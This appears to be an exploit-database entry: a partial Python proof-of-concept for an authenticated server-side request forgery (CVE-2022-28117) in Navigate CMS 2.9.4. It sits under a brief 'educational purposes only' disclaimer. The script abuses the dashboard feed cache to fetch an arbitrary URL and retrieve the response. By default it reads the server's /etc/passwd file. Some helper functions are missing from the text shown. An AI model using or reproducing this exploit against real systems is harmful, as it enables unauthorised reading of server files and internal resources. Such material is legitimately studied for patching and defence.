Exploits / Vulnerability Discovered : 2022-05-11 |
Type : webapps |
Platform : php
This exploit / vulnerability Navigate cms 2.9.4 serverside request forgery (ssrf) (authenticated) is for educational purposes only and if it is used you will do on your own risk!
import requests as r, signal
from emoji import emojize
from argparse import ArgumentParser
from sys import exit
from requests_toolbelt.multipart.encoder import MultipartEncoder
from hashlib import md5
from time import sleep
from base64 import b64decode,b64encode
from colorama import Fore, Style
# Abusing cache feature to retrieve response
data = {'limit':'5','language':'en','url':f'{args.payload}'}
headers = {'X-Csrf-Token':values[0]}
cookies = {values[1].split('=')[0]:values[1].split('=')[1]}
resp = r.post(f"{args.target}/navigate.php?fid=dashboard&act=json&oper=feed", cookies=cookies, headers=headers, data=data)#, proxies=proxies)
# Retrieving the file with response from static route
md5File = md5(f"{args.payload}".encode('UTF-8')).hexdigest()
resp = r.get(f"{args.target}/private/1/cache/{md5File}.feed",cookies=cookies)#,proxies=proxies)
if len(resp.text) > 0:
print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Dumping content ...")
sleep(1)
print(f"\n{resp.text}")
exit(0)
else:
print("["+Fore.RED+"!"+Style.RESET_ALL+"] No response received")
exit(-1)
if __name__ == '__main__':
# Define parameters
signal.signal(signal.SIGINT, handler)
parser = ArgumentParser(description='CVE-2022-28117: Navigate CMS <= 2.9.4 - Server-Side Request Forgery (Authenticated)')
parser.add_argument('-x', '--payload',default='file:///etc/passwd', help='URL to be requested (default=file:///etc/passwd)')
parser.add_argument('-u','--username', default='admin', help='Username to log in the CMS (default=admin)')
parser.add_argument('-p','--password', required=True, help='Password to log in the CMS')
parser.add_argument('target', help='URL where the CMS is hosted. Ex: http://example.com[:80]/navigate')
args = parser.parse_args()